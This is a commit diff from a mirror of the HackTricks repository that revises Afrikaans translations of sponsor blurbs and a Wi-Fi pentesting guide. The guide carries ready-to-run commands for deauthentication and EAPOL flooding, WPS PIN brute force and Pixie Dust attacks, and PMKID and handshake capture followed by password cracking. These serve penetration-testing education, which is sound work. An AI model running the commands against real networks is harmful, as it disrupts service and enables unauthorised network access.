mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-21 20:23:18 +00:00
Translated ['README.md', 'generic-methodologies-and-resources/pentesting
This commit is contained in:
parent
1b79591df9
commit
7d685c637b
19 changed files with 475 additions and 479 deletions
12
README.md
12
README.md
|
@ -20,7 +20,7 @@ Om te begin, volg hierdie bladsy waar jy die **tipiese vloei** sal vind wat **jy
|
|||
|
||||
<figure><img src=".gitbook/assets/stm (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**STM Cyber**](https://www.stmcyber.com) is 'n uitstekende kuberveiligheidsmaatskappy wie se slagspreuk is **HACK THE UNHACKABLE**. Hulle voer hul eie navorsing uit en ontwikkel hul eie hacking gereedskap om **verskeie waardevolle kuberveiligheidsdienste** soos pentesting, Red teams en opleiding aan te bied.
|
||||
[**STM Cyber**](https://www.stmcyber.com) is 'n uitstekende kuberveiligheidsmaatskappy wie se leuse is **HACK THE UNHACKABLE**. Hulle voer hul eie navorsing uit en ontwikkel hul eie hacking gereedskap om **verskeie waardevolle kuberveiligheidsdienste** soos pentesting, Red teams en opleiding aan te bied.
|
||||
|
||||
Jy kan hul **blog** in [**https://blog.stmcyber.com**](https://blog.stmcyber.com) nagaan.
|
||||
|
||||
|
@ -65,7 +65,7 @@ Kry Toegang Vandag:
|
|||
|
||||
### [HACKENPROOF](https://bit.ly/3xrrDrL)
|
||||
|
||||
<figure><img src=".gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Sluit by [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) bediener aan om met ervare hackers en bug bounty jagters te kommunikeer!
|
||||
|
||||
|
@ -77,13 +77,13 @@ Sluit by [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) bedien
|
|||
|
||||
***
|
||||
|
||||
### [Pentest-Tools.com](https://pentest-tools.com/?utm\_term=jul2024\&utm\_medium=link\&utm\_source=hacktricks\&utm\_campaign=spons) - Die noodsaaklike penetrasietoets gereedskapstel
|
||||
### [Pentest-Tools.com](https://pentest-tools.com/?utm\_term=jul2024\&utm\_medium=link\&utm\_source=hacktricks\&utm\_campaign=spons) - Die noodsaaklike penetrasietoets gereedskap
|
||||
|
||||
<figure><img src=".gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Kry 'n hacker se perspektief op jou web toepassings, netwerk, en wolk**
|
||||
|
||||
**Vind en rapporteer kritieke, exploitable kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanval oppervlak te karteer, vind sekuriteitskwessies wat jou toelaat om bevoegdhede te verhoog, en gebruik geoutomatiseerde exploits om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskakel.
|
||||
**Vind en rapporteer kritieke, exploitable kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanval oppervlak te karteer, vind sekuriteitskwessies wat jou toelaat om voorregte te verhoog, en gebruik geoutomatiseerde exploits om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskep.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
@ -96,7 +96,7 @@ Sluit by [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) bedien
|
|||
**SerpApi** bied vinnige en maklike regstydse API's om **toegang tot soekenjinresultate** te verkry. Hulle scrape soekenjins, hanteer proxies, los captchas op, en parse al die ryk gestructureerde data vir jou.
|
||||
|
||||
'n Intekening op een van SerpApi se planne sluit toegang tot meer as 50 verskillende API's in vir die scraping van verskillende soekenjins, insluitend Google, Bing, Baidu, Yahoo, Yandex, en meer.\
|
||||
In teenstelling met ander verskaffers, **scrape SerpApi nie net organiese resultate nie**. SerpApi antwoorde sluit konsekwent al die advertensies, inline beelde en video's, kennis grafieke, en ander elemente en funksies wat in die soekresultate teenwoordig is, in.
|
||||
In teenstelling met ander verskaffers, **scrape SerpApi nie net organiese resultate nie**. SerpApi antwoorde sluit konsekwent al die advertensies, inline beelde en video's, kennisgrafieke, en ander elemente en funksies wat in die soekresultate teenwoordig is, in.
|
||||
|
||||
Huidige SerpApi kliënte sluit **Apple, Shopify, en GrubHub** in.\
|
||||
Vir meer inligting, kyk na hul [**blog**](https://serpapi.com/blog/)**,** of probeer 'n voorbeeld in hul [**speelgrond**](https://serpapi.com/playground)**.**\
|
||||
|
@ -112,7 +112,7 @@ Jy kan **'n gratis rekening** [**hier**](https://serpapi.com/users/sign\_up)**.*
|
|||
|
||||
WebSec is 'n **alles-in-een sekuriteitsmaatskappy** wat beteken hulle doen dit alles; Pentesting, **Sekuriteit** Oudit, Bewustheidsopleiding, Phishing Campagnes, Kode Hersiening, Exploit Ontwikkeling, Sekuriteit Eksperte Uitsourcing en nog baie meer.
|
||||
|
||||
Nog 'n interessante ding oor WebSec is dat, in teenstelling met die industrie gemiddelde, WebSec **baie selfversekerd is in hul vaardighede**, tot so 'n mate dat hulle **die beste kwaliteit resultate waarborg**, dit staan op hul webwerf "**As ons dit nie kan hack nie, betaal jy dit nie!**". Vir meer inligting, kyk na hul [**webwerf**](https://websec.nl/en/) en [**blog**](https://websec.nl/blog/)!
|
||||
Nog 'n interessante ding oor WebSec is dat, in teenstelling met die industrie gemiddelde, WebSec **baie selfversekerd is in hul vaardighede**, tot so 'n mate dat hulle **die beste kwaliteit resultate waarborg**, dit staan op hul webwerf "**As ons dit nie kan hack nie, betaal jy nie!**". Vir meer inligting, kyk na hul [**webwerf**](https://websec.nl/en/) en [**blog**](https://websec.nl/blog/)!
|
||||
|
||||
Benewens die bogenoemde is WebSec ook 'n **toegewyde ondersteuner van HackTricks.**
|
||||
|
||||
|
|
|
@ -15,7 +15,7 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Sluit aan by [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) bediener om met ervare hackers en bug bounty jagters te kommunikeer!
|
||||
|
||||
|
@ -23,7 +23,7 @@ Sluit aan by [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) be
|
|||
Betrek jouself met inhoud wat die opwinding en uitdagings van hacking ondersoek
|
||||
|
||||
**Regte Tyd Hack Nuus**\
|
||||
Bly op hoogte van die vinnige hacking wêreld deur regte tyd nuus en insigte
|
||||
Bly op hoogte van die vinnig bewegende hacking wêreld deur regte tyd nuus en insigte
|
||||
|
||||
**Laaste Aankondigings**\
|
||||
Bly ingelig oor die nuutste bug bounties wat bekendgestel word en belangrike platform opdaterings
|
||||
|
@ -89,7 +89,7 @@ Hierdie hulpmiddel outomatiseer **WPS/WEP/WPA-PSK** aanvalle. Dit sal outomaties
|
|||
* Soek na moontlike netwerke - En jou laat kies die slagoffer(s)
|
||||
* As WEP - WEP aanvalle begin
|
||||
* As WPA-PSK
|
||||
* As WPS: Pixie dust aanval en die bruteforce aanval (wees versigtig, die brute-force aanval kan 'n lang tyd neem). Let daarop dat dit nie probeer om null PIN of databasis/gegenereerde PINs nie.
|
||||
* As WPS: Pixie dust aanval en die bruteforce aanval (wees versigtig, die brute-force aanval kan 'n lang tyd neem). Let daarop dat dit nie nul PIN of databasis/gegenereerde PINs probeer nie.
|
||||
* Probeer om die PMKID van die AP te vang om dit te kraak
|
||||
* Probeer om kliënte van die AP te deauthentiseer om 'n handshake te vang
|
||||
* As PMKID of Handshake, probeer om te bruteforce met die top5000 wagwoorde.
|
||||
|
@ -115,7 +115,7 @@ Hierdie hulpmiddel outomatiseer **WPS/WEP/WPA-PSK** aanvalle. Dit sal outomaties
|
|||
* **Open** Evil Twin \[+ DoS] -- Nuttig om captive portal kredensiale te vang en/of LAN aanvalle uit te voer
|
||||
* **WPA-PSK** Evil Twin -- Nuttig vir netwerk aanvalle as jy die wagwoord ken
|
||||
* **WPA-MGT** -- Nuttig om maatskappy kredensiale te vang
|
||||
* **KARMA, MANA**, **Loud MANA**, **Gekende beacon**
|
||||
* **KARMA, MANA**, **Loud MANA**, **Bekende beacon**
|
||||
* **+ Open** -- Nuttig om captive portal kredensiale te vang en/of LAN aanvalle uit te voer
|
||||
* **+ WPA** -- Nuttig om WPA handshakes te vang
|
||||
|
||||
|
@ -125,21 +125,21 @@ Hierdie hulpmiddel outomatiseer **WPS/WEP/WPA-PSK** aanvalle. Dit sal outomaties
|
|||
|
||||
**Beskrywing van** [**hier**:](https://null-byte.wonderhowto.com/how-to/use-mdk3-for-advanced-wi-fi-jamming-0185832/)**.**
|
||||
|
||||
**Deauthentisering** aanvalle, 'n algemene metode in Wi-Fi hacking, behels die vervalsing van "bestuur" rame om **daarvoor te sorg dat toestelle van 'n netwerk ontkoppel word**. Hierdie ongeënkripteerde pakkette mislei kliënte om te glo dat hulle van die wettige netwerk af kom, wat dit vir aanvallers moontlik maak om WPA handshakes te versamel vir kraakdoeleindes of om voortdurend netwerkverbindinge te ontwrig. Hierdie taktiek, ontstellend in sy eenvoud, word wyd gebruik en het beduidende implikasies vir netwerk sekuriteit.
|
||||
**Deauthentisering** aanvalle, 'n algemene metode in Wi-Fi hacking, behels die vervalsing van "bestuur" rame om **dwangmatig toestelle van 'n netwerk af te ontkoppel**. Hierdie ongeënkripteerde pakkette mislei kliënte om te glo dat hulle van die wettige netwerk af kom, wat dit moontlik maak vir aanvallers om WPA handshakes te versamel vir kraakdoeleindes of om netwerkverbindinge volhoubaar te ontwrig. Hierdie taktiek, ontstellend in sy eenvoud, is wyd gebruik en het beduidende implikasies vir netwerk sekuriteit.
|
||||
|
||||
**Deauthentisering met Aireplay-ng**
|
||||
```
|
||||
aireplay-ng -0 0 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0
|
||||
```
|
||||
* \-0 beteken de-authentisering
|
||||
* 1 is die aantal de-auths om te stuur (jy kan meerdere stuur as jy wil); 0 beteken stuur dit voortdurend
|
||||
* 1 is die aantal de-auths om te stuur (jy kan meerdere stuur as jy wil); 0 beteken stuur hulle voortdurend
|
||||
* \-a 00:14:6C:7E:40:80 is die MAC-adres van die toegangspunt
|
||||
* \-c 00:0F:B5:34:30:30 is die MAC-adres van die kliënt om te de-authentiseer; as dit weggelaat word, dan word broadcast de-authentisering gestuur (werk nie altyd nie)
|
||||
* ath0 is die interface naam
|
||||
|
||||
### Ontkoppeling Pakkette
|
||||
|
||||
**Ontkoppeling pakkette**, soortgelyk aan de-authentisering pakkette, is 'n tipe bestuursraam wat in Wi-Fi-netwerke gebruik word. Hierdie pakkette dien om die verbinding tussen 'n toestel (soos 'n skootrekenaar of slimfoon) en 'n toegangspunt (AP) te verbreek. Die primêre onderskeid tussen ontkoppeling en de-authentisering lê in hul gebruiks scenario's. Terwyl 'n AP **de-authentisering pakkette uitstuur om onwettige toestelle eksplisiet uit die netwerk te verwyder, word ontkoppeling pakkette tipies gestuur wanneer die AP 'n afsluiting**, herstart of verskuiwing ondergaan, wat die ontkoppeling van alle gekonnekte nodes noodsaak.
|
||||
**Ontkoppeling pakkette**, soortgelyk aan de-authentisering pakkette, is 'n tipe bestuursraam wat in Wi-Fi-netwerke gebruik word. Hierdie pakkette dien om die verbinding tussen 'n toestel (soos 'n skootrekenaar of slimfoon) en 'n toegangspunt (AP) te verbreek. Die primêre onderskeid tussen ontkoppeling en de-authentisering lê in hul gebruiks scenario's. Terwyl 'n AP **de-authentisering pakkette uitstraal om onwettige toestelle eksplisiet uit die netwerk te verwyder, word ontkoppeling pakkette tipies gestuur wanneer die AP 'n afsluiting**, herstart, of verskuiwing ondergaan, wat die ontkoppeling van alle gekonnekteerde nodes noodsaak.
|
||||
|
||||
**Hierdie aanval kan uitgevoer word deur mdk4(mode "d"):**
|
||||
```bash
|
||||
|
@ -186,9 +186,9 @@ Die stuur van ewekansige of duplikaat pakkette na verskillende QoS-rye kan Micha
|
|||
# -j use inteligent replay to create the DoS
|
||||
mdk4 wlan0mon m -t EF:60:69:D7:69:2F [-j]
|
||||
```
|
||||
**AANVALSMODE e: EAPOL Begin en Afsluit Pakket Inspuiting**
|
||||
**AANVALSMODE e: EAPOL Begin en Logoff Pakket Inspuiting**
|
||||
|
||||
Vloed 'n AP met **EAPOL Begin rame** om **valse sessies** te skep, wat die AP oorweldig en wettige kliënte blokkeer. Alternatiewelik, die inspuiting van **valse EAPOL Afsluit boodskappe** ontkoppel kliënte met geweld, beide metodes onderbreek effektief netwerkdiens.
|
||||
Die oorstroming van 'n AP met **EAPOL Begin rame** skep **valse sessies**, wat die AP oorweldig en wettige kliënte blokkeer. Alternatiewelik, die inspuiting van **valse EAPOL Logoff boodskappe** ontkoppel kliënte met geweld, beide metodes onderbreek effektief netwerkdiens.
|
||||
```bash
|
||||
# Use Logoff messages to kick clients
|
||||
mdk4 wlan0mon e -t EF:60:69:D7:69:2F [-l]
|
||||
|
@ -216,7 +216,7 @@ _**Airgeddon**_ bied die meeste van die aanvalle wat in die vorige kommentaar vo
|
|||
|
||||
## WPS
|
||||
|
||||
WPS (Wi-Fi Protected Setup) vereenvoudig die proses om toestelle aan 'n router te koppel, wat die opstellingstyd en -gemak vir netwerke wat met **WPA** of **WPA2** Persoonlik versleuteld is, verbeter. Dit is nie effektief vir die maklik gekompromitteerde WEP-sekuriteit nie. WPS gebruik 'n 8-syfer PIN, wat in twee helfte gevalideer word, wat dit kwesbaar maak vir brute-force aanvalle weens die beperkte aantal kombinasies (11,000 moontlikhede).
|
||||
WPS (Wi-Fi Protected Setup) vereenvoudig die proses om toestelle aan 'n router te koppel, wat die opstelling se spoed en gemak vir netwerke wat met **WPA** of **WPA2** Persoonlik versleuteld is, verbeter. Dit is ondoeltreffend vir die maklik gekompromitteerde WEP-sekuriteit. WPS gebruik 'n 8-syfer PIN, wat in twee helfte gevalideer word, wat dit kwesbaar maak vir brute-force aanvalle weens die beperkte aantal kombinasies (11,000 moontlikhede).
|
||||
|
||||
### WPS Bruteforce
|
||||
|
||||
|
@ -237,18 +237,18 @@ bully wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -S -F -B -v 3
|
|||
Hierdie verfynde benadering teiken WPS PINs deur gebruik te maak van bekende kwesbaarhede:
|
||||
|
||||
1. **Vooraf ontdekte PINs**: Gebruik 'n databasis van bekende PINs wat aan spesifieke vervaardigers gekoppel is wat bekend is om uniforme WPS PINs te gebruik. Hierdie databasis korreleer die eerste drie oktette van MAC-adresse met waarskynlike PINs vir hierdie vervaardigers.
|
||||
2. **PIN Generasie Algoritmes**: Maak gebruik van algoritmes soos ComputePIN en EasyBox, wat WPS PINs bereken op grond van die AP se MAC-adres. Die Arcadyan-algoritme vereis addisioneel 'n toestel-ID, wat 'n laag aan die PIN-generasieproses toevoeg.
|
||||
2. **PIN Generasie Algoritmes**: Maak gebruik van algoritmes soos ComputePIN en EasyBox, wat WPS PINs bereken op grond van die AP se MAC-adres. Die Arcadyan-algoritme vereis addisioneel 'n toestel-ID, wat 'n laag by die PIN-generasieproses voeg.
|
||||
|
||||
### WPS Pixie Dust aanval
|
||||
|
||||
**Dominique Bongard** het 'n fout ontdek in sommige Toegangspunte (APs) rakende die skepping van geheime kodes, bekend as **nonces** (**E-S1** en **E-S2**). As hierdie nonces uitgevind kan word, word dit maklik om die AP se WPS PIN te kraak. Die AP openbaar die PIN binne 'n spesiale kode (hash) om te bewys dat dit wettig is en nie 'n vals (rogue) AP is nie. Hierdie nonces is in wese die "sleutels" om die "kluis" wat die WPS PIN bevat, te ontsluit. Meer hieroor kan gevind word [hier](https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-\(Offline-WPS-Attack\)).
|
||||
**Dominique Bongard** het 'n fout ontdek in sommige Toegangspunte (APs) rakende die skepping van geheime kodes, bekend as **nonces** (**E-S1** en **E-S2**). As hierdie nonces uitgevind kan word, word dit maklik om die AP se WPS PIN te kraak. Die AP openbaar die PIN binne 'n spesiale kode (hash) om te bewys dat dit wettig is en nie 'n vals (rogue) AP nie. Hierdie nonces is in wese die "sleutels" om die "kluis" wat die WPS PIN bevat, te ontsluit. Meer hieroor kan gevind word [hier](https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-\(Offline-WPS-Attack\)).
|
||||
|
||||
In eenvoudige terme is die probleem dat sommige APs nie random genoeg sleutels gebruik het om die PIN tydens die verbindingsproses te enkripteer nie. Dit maak die PIN kwesbaar om van buite die netwerk (offline brute force aanval) geraai te word.
|
||||
In eenvoudige terme is die probleem dat sommige APs nie genoegsame ewekansige sleutels gebruik het om die PIN tydens die verbindselsproses te enkripteer nie. Dit maak die PIN kwesbaar om van buite die netwerk geraai te word (offline brute force aanval).
|
||||
```bash
|
||||
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -K 1 -N -vv
|
||||
bully wlan1mon -b 00:C0:CA:78:B1:37 -d -v 3
|
||||
```
|
||||
As jy nie die toestel in monitor-modus wil skakel nie, of as `reaver` en `bully` 'n probleem het, kan jy [OneShot-C](https://github.com/nikita-yfh/OneShot-C) probeer. Hierdie hulpmiddel kan 'n Pixie Dust-aanval uitvoer sonder om na monitor-modus te skakel.
|
||||
As jy nie die toestel in monitor-modus wil skakel nie, of `reaver` en `bully` het 'n probleem, kan jy probeer [OneShot-C](https://github.com/nikita-yfh/OneShot-C). Hierdie hulpmiddel kan 'n Pixie Dust-aanval uitvoer sonder om na monitor-modus te skakel.
|
||||
```bash
|
||||
./oneshot -i wlan0 -K -b 00:C0:CA:78:B1:37
|
||||
```
|
||||
|
@ -264,21 +264,21 @@ Al die voorgestelde WPS-aanvalle kan maklik uitgevoer word met _**airgeddon.**_
|
|||
|
||||
![](<../../.gitbook/assets/image (219).png>)
|
||||
|
||||
* 5 en 6 laat jou toe om **jou eie PIN** te probeer (as jy enige het)
|
||||
* 7 en 8 voer die **Pixie Dust-aanval** uit
|
||||
* 5 en 6 laat jou toe om **jou pasgemaakte PIN** te probeer (as jy enige het)
|
||||
* 7 en 8 voer die **Pixie Dust aanval** uit
|
||||
* 13 laat jou toe om die **NULL PIN** te toets
|
||||
* 11 en 12 sal **die PINs wat verband hou met die geselekteerde AP uit beskikbare databasisse herwin** en **genereer** moontlike **PINs** met: ComputePIN, EasyBox en opsioneel Arcadyan (aanbeveel, hoekom nie?)
|
||||
* 9 en 10 sal **elke moontlike PIN** toets
|
||||
|
||||
## **WEP**
|
||||
|
||||
So gebroke en ongebruik vandag. Weet net dat _**airgeddon**_ 'n WEP-opsie het genaamd "All-in-One" om hierdie tipe beskerming aan te val. Meer gereedskap bied soortgelyke opsies aan.
|
||||
So gebroke en ongebruik vandag. Weet net dat _**airgeddon**_ 'n WEP-opsie het wat "All-in-One" genoem word om hierdie tipe beskerming aan te val. Meer gereedskap bied soortgelyke opsies aan.
|
||||
|
||||
![](<../../.gitbook/assets/image (432).png>)
|
||||
|
||||
***
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Sluit aan by [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) bediener om met ervare hackers en bug bounty jagters te kommunikeer!
|
||||
|
||||
|
@ -286,7 +286,7 @@ Sluit aan by [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) be
|
|||
Betrek jouself met inhoud wat die opwinding en uitdagings van hacking ondersoek
|
||||
|
||||
**Regstydse Hack Nuus**\
|
||||
Bly op hoogte van die vinnig bewegende hacking wêreld deur middel van regstydse nuus en insigte
|
||||
Bly op hoogte van die vinnige hacking wêreld deur middel van regstydse nuus en insigte
|
||||
|
||||
**Laaste Aankondigings**\
|
||||
Bly ingelig oor die nuutste bug bounties wat bekendgestel word en belangrike platform opdaterings
|
||||
|
@ -307,7 +307,7 @@ Soos die oorspronklike pos verduidelik, word die **PMKID** geskep met behulp van
|
|||
```bash
|
||||
PMKID = HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA)
|
||||
```
|
||||
Gegewe dat die "PMK Naam" konstant is, weet ons die BSSID van die AP en die stasie, en die `PMK` is identies aan die een van 'n volledige 4-weg handdruk, **hashcat** kan hierdie inligting gebruik om die PSK te kraak en die wagwoord te herstel!
|
||||
Gegewe dat die "PMK Naam" konstant is, weet ons die BSSID van die AP en die stasie, en die `PMK` is identies aan die een van 'n volle 4-weg handdruk, **hashcat** kan hierdie inligting gebruik om die PSK te kraak en die wagwoord te herstel!
|
||||
|
||||
Om hierdie inligting te **versamel** en die wagwoord plaaslik te **bruteforce**, kan jy doen:
|
||||
```bash
|
||||
|
@ -322,13 +322,13 @@ hcxdumptool -o /tmp/attack.pcap -i wlan0mon --enable_status=1
|
|||
./eaphammer --pmkid --interface wlan0 --channel 11 --bssid 70:4C:A5:F8:9A:C1
|
||||
```
|
||||
Die **PMKIDs gevang** sal in die **konsole** vertoon word en ook **gestoor** word binne \_ **/tmp/attack.pcap**\_\
|
||||
Nou, omskep die vangste na **hashcat/john** formaat en kraak dit:
|
||||
Nou, omskep die vangste na **hashcat/john** formaat en breek dit:
|
||||
```bash
|
||||
hcxtools/hcxpcaptool -z hashes.txt /tmp/attack.pcapng
|
||||
hashcat -m 16800 --force hashes.txt /usr/share/wordlists/rockyou.txt
|
||||
john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
|
||||
```
|
||||
Please note the format of a correct hash contains **4 parts**, like: `4017733ca8db33a1479196c2415173beb808d7b83cfaa4a6a9a5aae7566f6461666f6e65436f6e6e6563743034383131343838` As joune **net** **3 parts** bevat, dan is dit **ongeldig** (die PMKID-kaping was nie geldig nie).
|
||||
Please note the format of a correct hash contains **4 parts**, like: `4017733ca8db33a1479196c2415173beb808d7b83cfaa4a6a9a5aae7566f6461666f6e65436f6e6e6563743034383131343838` As joune **slegs** **3 parts** bevat, dan is dit **ongeldig** (die PMKID-kaping was nie geldig nie).
|
||||
|
||||
Let daarop dat `hcxdumptool` **ook handshakes vasvang** (iets soos hierdie sal verskyn: **`MP:M1M2 RC:63258 EAPOLTIME:17091`**). Jy kan die **handshakes** na **hashcat**/**john** formaat omskakel met `cap2hccapx`
|
||||
```bash
|
||||
|
@ -349,17 +349,17 @@ _Ik het opgemerk dat sommige handshakes wat met hierdie hulpmiddel gevang is, ni
|
|||
```bash
|
||||
airodump-ng wlan0 -c 6 --bssid 64:20:9F:15:4F:D7 -w /tmp/psk --output-format pcap
|
||||
```
|
||||
3. Om die kans om 'n handshake te vang te verhoog, ontkoppel die kliënt oombliklik van die netwerk om 'n herverifikasie af te dwing. Dit kan gedoen word met die `aireplay-ng` opdrag, wat de-authentikasiepakkette na die kliënt stuur:
|
||||
3. Om die kans te verhoog om 'n handshake te vang, ontkoppel die kliënt oombliklik van die netwerk om 'n herverifikasie af te dwing. Dit kan gedoen word met die `aireplay-ng` opdrag, wat de-authentikasiepakkette na die kliënt stuur:
|
||||
```bash
|
||||
aireplay-ng -0 0 -a 64:20:9F:15:4F:D7 wlan0 #Send generic deauth packets, may not work in all scenarios
|
||||
```
|
||||
_Note dat terwyl die kliënt gede-authentiseer is, kan dit probeer om met 'n ander AP of, in ander gevalle, met 'n ander netwerk te verbind._
|
||||
_Note dat aangesien die kliënt gede-authentiseer is, kan dit probeer om met 'n ander AP of, in ander gevalle, met 'n ander netwerk te verbind._
|
||||
|
||||
Sodra daar in die `airodump-ng` 'n paar handshake-inligting verskyn, beteken dit dat die handshake vasgevang is en jy kan stop om te luister:
|
||||
Sodra daar in die `airodump-ng` 'n paar handshake-inligting verskyn, beteken dit dat die handshake gevang is en jy kan stop om te luister:
|
||||
|
||||
![](<../../.gitbook/assets/image (172) (1).png>)
|
||||
|
||||
Sodra die handshake vasgevang is, kan jy dit **crack** met `aircrack-ng`:
|
||||
Sodra die handshake gevang is, kan jy dit **crack** met `aircrack-ng`:
|
||||
```
|
||||
aircrack-ng -w /usr/share/wordlists/rockyou.txt -b 64:20:9F:15:4F:D7 /tmp/psk*.cap
|
||||
```
|
||||
|
@ -400,14 +400,14 @@ In **onderneming WiFi-opstellings, sal jy verskeie outentikasie metodes teëkom*
|
|||
* Dit bied wedersydse verifikasie deur 'n versleutelde tonnel, saam met 'n metode om dinamiese, per-gebruiker, per-sessie WEP-sleutels af te lei. Dit vereis slegs bediener-kant sertifikate, met kliënte wat kredensiale gebruik.
|
||||
5. **PEAP (Beskermde Uitbreidbare Verifikasie Protokol)**:
|
||||
* Dit funksioneer soortgelyk aan EAP deur 'n TLS-tonnel te skep vir beskermde kommunikasie. Dit laat die gebruik van swakker verifikasie protokolle bo-op EAP toe weens die beskerming wat deur die tonnel aangebied word.
|
||||
* **PEAP-MSCHAPv2**: Dit word dikwels as PEAP verwys, dit kombineer die kwesbare MSCHAPv2 uitdaging/reaksie meganisme met 'n beskermende TLS-tonnel.
|
||||
* **PEAP-MSCHAPv2**: Dit word dikwels as PEAP verwys, dit kombineer die kwesbare MSCHAPv2 uitdaging/antwoord meganisme met 'n beskermende TLS-tonnel.
|
||||
* **PEAP-EAP-TLS (of PEAP-TLS)**: Soortgelyk aan EAP-TLS, maar begin 'n TLS-tonnel voordat sertifikate uitgewissel word, wat 'n addisionele laag van sekuriteit bied.
|
||||
|
||||
Jy kan meer inligting oor hierdie verifikasie metodes [hier ](https://en.wikipedia.org/wiki/Extensible\_Authentication\_Protocol)en [hier](https://www.intel.com/content/www/us/en/support/articles/000006999/network-and-i-o/wireless-networking.html) vind.
|
||||
|
||||
### Gebruikersnaam Kaping
|
||||
|
||||
Volgens [https://tools.ietf.org/html/rfc3748#page-27](https://tools.ietf.org/html/rfc3748#page-27) lyk dit of as jy **EAP** gebruik, die **"Identiteit"** **boodskappe** moet **ondersteun** word, en die **gebruikersnaam** gaan in **duidelik** in die **"Antwoord Identiteit"** boodskappe gestuur word.
|
||||
Deur [https://tools.ietf.org/html/rfc3748#page-27](https://tools.ietf.org/html/rfc3748#page-27) te lees, lyk dit of jy **EAP** gebruik, die **"Identiteit"** **boodskappe** moet **ondersteun** en die **gebruikersnaam** gaan in **duidelik** in die **"Antwoord Identiteit"** boodskappe gestuur word.
|
||||
|
||||
Selfs met die gebruik van een van die mees veilige verifikasie metodes: **PEAP-EAP-TLS**, is dit moontlik om die **gebruikersnaam wat in die EAP-protokol gestuur word** te **kaping**. Om dit te doen, **kaping 'n verifikasie kommunikasie** (begin `airodump-ng` binne 'n kanaal en `wireshark` in dieselfde koppelvlak) en filter die pakkette deur `eapol`.\
|
||||
Binne die "**Antwoord, Identiteit**" pakket, sal die **gebruikersnaam** van die kliënt verskyn.
|
||||
|
@ -416,19 +416,19 @@ Binne die "**Antwoord, Identiteit**" pakket, sal die **gebruikersnaam** van die
|
|||
|
||||
### Anonieme Identiteite
|
||||
|
||||
Identiteit verborge word deur beide EAP-PEAP en EAP-TTLS ondersteun. In die konteks van 'n WiFi-netwerk, word 'n EAP-Identiteit versoek tipies deur die toegangspunt (AP) tydens die assosiasie proses geïnisieer. Om die beskerming van gebruikersanonieme te verseker, bevat die antwoord van die EAP-kliënt op die gebruiker se toestel slegs die noodsaaklike inligting wat benodig word vir die aanvanklike RADIUS-bediener om die versoek te verwerk. Hierdie konsep word geïllustreer deur die volgende scenario's:
|
||||
Identiteit verborge word deur beide EAP-PEAP en EAP-TTLS ondersteun. In die konteks van 'n WiFi-netwerk, word 'n EAP-Identiteit versoek tipies deur die toegangspunt (AP) tydens die assosiasie proses geïnisieer. Om die beskerming van gebruikersanonimiteit te verseker, bevat die antwoord van die EAP-kliënt op die gebruiker se toestel slegs die noodsaaklike inligting wat benodig word vir die aanvanklike RADIUS-bediener om die versoek te verwerk. Hierdie konsep word geïllustreer deur die volgende scenario's:
|
||||
|
||||
* EAP-Identiteit = anoniem
|
||||
* In hierdie scenario gebruik alle gebruikers die pseudonieme "anoniem" as hul gebruikersidentifiseerder. Die aanvanklike RADIUS-bediener funksioneer as 'n EAP-PEAP of EAP-TTLS bediener, verantwoordelik vir die bestuur van die bediener-kant van die PEAP of TTLS protokol. Die innerlike (beskermde) verifikasie metode word dan of plaaslik hanteer of aan 'n afgeleë (huis) RADIUS-bediener gedelegeer.
|
||||
* EAP-Identiteit = anoniem@realm\_x
|
||||
* In hierdie situasie verberg gebruikers van verskillende koninkryke hul identiteite terwyl hulle hul onderskeie koninkryke aandui. Dit laat die aanvanklike RADIUS-bediener toe om die EAP-PEAP of EAP-TTLS versoeke na RADIUS-bedieners in hul huis koninkryke te proxy, wat as die PEAP of TTLS bediener optree. Die aanvanklike RADIUS-bediener funksioneer slegs as 'n RADIUS relay node.
|
||||
* Alternatiewelik kan die aanvanklike RADIUS-bediener as die EAP-PEAP of EAP-TTLS bediener funksioneer en of die beskermde verifikasie metode hanteer of dit na 'n ander bediener stuur. Hierdie opsie fasiliteer die konfigurasie van verskillende beleide vir verskillende koninkryke.
|
||||
* Alternatiewelik kan die aanvanklike RADIUS-bediener as die EAP-PEAP of EAP-TTLS bediener funksioneer en of die beskermde verifikasie metode hanteer of dit na 'n ander bediener deurstuur. Hierdie opsie fasiliteer die konfigurasie van verskillende beleide vir verskillende koninkryke.
|
||||
|
||||
